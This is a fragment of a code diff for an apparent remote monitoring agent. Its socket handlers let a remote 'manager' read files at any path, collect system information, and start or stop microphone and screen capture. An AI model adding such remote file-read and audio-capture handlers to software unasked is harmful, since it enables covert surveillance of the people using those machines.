socket.on('file:read', (data) => {
|
|
141
|
+
try {
|
|
142
|
+
const result = readFileContent(data.path);
|
|
143
|
+
socket.emit('file:read:response', result);
|
|
144
|
+
} catch (err) {
|
|
145
|
+
socket.emit('file:read:response', { path: data.path, content: null, error: err.message });
|
|
146
|
+
}
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
// ── System Info ────────────────────────────────────────────
|
|
150
|
+
socket.on('system:info', () => {
|
|
151
|
+
socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
// ── Audio Capture ────────────────────────────────────────────
|
|
155
|
+
socket.on('audio:start', (data) => {
|
|
156
|
+
console.log(` 🎤 Manager requested audio (mode: ${data.mode || 'mic'})`);
|
|
157
|
+
audioCapture.start(data || {});
|
|
158
|
+
});
|
|
159
|
+
|
|
160
|
+
socket.on('audio:stop', () => {
|
|
161
|
+
audioCapture.stop();
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
socket.on('audio:listdevices', async () => {
|
|
165
|
+
const devices = await audioCapture.listDevices();
|
|
166
|
+
socket.emit('audio:devices', { devices });
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
socket.on('session:end', () => {
|
|
170
|
+
console.log(' 🛑 Session ended by manager');
|
|
171
|
+
screenCapture.stop();
|
|
172
|
+
audioCapture.stop();
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
console.log(' 🟢 Agent is running. Press Ctrl+C to stop.\n');
|